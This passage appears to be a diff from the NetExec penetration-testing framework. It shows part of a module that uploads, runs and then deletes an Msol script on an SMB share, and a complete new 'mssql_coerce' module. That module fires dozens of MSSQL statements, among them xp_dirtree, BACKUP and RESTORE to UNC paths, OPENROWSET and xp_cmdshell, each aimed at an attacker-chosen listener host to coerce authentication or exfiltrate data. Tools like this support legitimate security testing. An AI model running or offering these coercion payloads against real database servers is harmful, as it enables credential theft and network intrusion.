||||
|
||||
context.log.display(f"Uploading {self.msol}")
|
||||
with open(file_to_upload, "rb") as msol:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
|
||||
context.log.success("Msol script successfully uploaded")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
try:
|
||||
if self.cmd == "":
|
||||
context.log.display("Executing the script")
|
||||
p = self.exec_script(context, connection)
|
||||
for line in p.splitlines():
|
||||
p1, p2 = line.split(" ", 1)
|
||||
context.log.highlight(f"{p1} {p2}")
|
||||
else:
|
||||
context.log.fail("Script Execution Impossible")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
|
||||
context.log.success("Msol script successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
|
||||
context.log.highlight(line.strip())
|
||||
@@ -0,0 +1,80 @@
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Made by @lodos2005"""
|
||||
|
||||
name = "mssql_coerce"
|
||||
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER LISTENER for exploitation
|
||||
L Alias for LISTENER
|
||||
"""
|
||||
self.context = context
|
||||
self.listener = None
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
if "L" in module_options:
|
||||
self.listener = module_options["L"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.listener is None:
|
||||
context.log.error("LISTENER option is required!")
|
||||
sys.exit(1)
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
commands = [
|
||||
f"xp_dirtree '\\\\{self.listener}\\file';",
|
||||
f"xp_fileexist '\\\\{self.listener}\\file';",
|
||||
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
|
||||
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
|
||||
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
|
||||
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
|
||||
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
|
||||
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
|
||||
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
|
||||
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
|
||||
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
|
||||
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
|
||||
f"xp_subdirs '\\\\{self.listener}\\file';",
|
||||
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
|
||||
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
|
||||
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
|
||||
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
|
||||
]
|
||||
for command in commands:
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(command)
|
||||
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
|
||||
self.context.log.display("Commands executed successfully, check the listener for results")
|
||||
Loaded 100 of 221 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user